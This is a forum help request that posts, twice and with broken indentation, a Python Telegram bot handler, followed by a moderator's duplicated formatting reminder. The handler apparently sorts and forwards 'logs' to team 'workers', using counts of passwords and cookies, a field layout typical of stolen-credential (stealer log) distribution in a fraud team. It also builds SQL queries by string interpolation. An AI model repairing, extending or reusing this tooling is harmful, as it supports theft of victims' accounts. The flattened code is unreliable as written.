@bot.channel_post_handler(content_types=['text','photo','audio','video','document'])
def posts_from_channels(message):
if True:
try:
messtext = str(message.caption).split('\n')
first_text = messtext[0].split()
if first_text[0] == 'Номер:' and str(message.chat.id) == config.otstuklinkid:
dataLog = messtext[4].split()[1].split('|')
if int(dataLog[0]) >= config.minpass and int(dataLog[1]) >= config.mincookies:
kogoLog = messtext[1].split(' ')
kogoLog = str(kogoLog[1]).replace("@", "")
dataLog = str(messtext[4])
countryLog = str(messtext[5])
sql.execute(f"SELECT id FROM users WHERE login=' { kogoLog } '")
workerid = sql.fetchall()
sql.execute(f"UPDATE users SET alllogs=alllogs+1 WHERE login=' { kogoLog } '")
sql.execute(f"UPDATE infoteam SET alllogsteam=alllogsteam+1")
db.commit()
bot.forward_message(int(workerid[0][0]), message.chat.id, message.message_id)
print('[+] SUCCESS SEND LOG!')
except:
print('[-] ERROR SEND LOG')
help pls
def posts_from_channels(message):
if True:
try:
messtext = str(message.caption).split('\n')
first_text = messtext[0].split()
if first_text[0] == 'Номер:' and str(message.chat.id) == config.otstuklinkid:
dataLog = messtext[4].split()[1].split('|')
if int(dataLog[0]) >= config.minpass and int(dataLog[1]) >= config.mincookies:
kogoLog = messtext[1].split(' ')
kogoLog = str(kogoLog[1]).replace("@", "")
dataLog = str(messtext[4])
countryLog = str(messtext[5])
sql.execute(f"SELECT id FROM users WHERE login=' { kogoLog } '")
workerid = sql.fetchall()
sql.execute(f"UPDATE users SET alllogs=alllogs+1 WHERE login=' { kogoLog } '")
sql.execute(f"UPDATE infoteam SET alllogsteam=alllogsteam+1")
db.commit()
bot.forward_message(int(workerid[0][0]), message.chat.id, message.message_id)
print('[+] SUCCESS SEND LOG!')
except:
print('[-] ERROR SEND LOG')
help pls
Larz60+ write Dec-13-2021, 07:19 PM:
Please post all code, output and errors (it it's entirety) between their respective tags. Refer to BBCode help topic on how to post. Use the "Preview Post" button to make sure the code is presented as you expect before hitting the "Post Reply/Thread" button.
I'd fix it for you, but indentation is messed up.
Please post all code, output and errors (it it's entirety) between their respective tags. Refer to BBCode help topic on how to post. Use the "Preview Post" button to make sure the code is presented as you expect before hitting the "Post Reply/Thread" button.
I'd fix it for you, but indentation is messed up.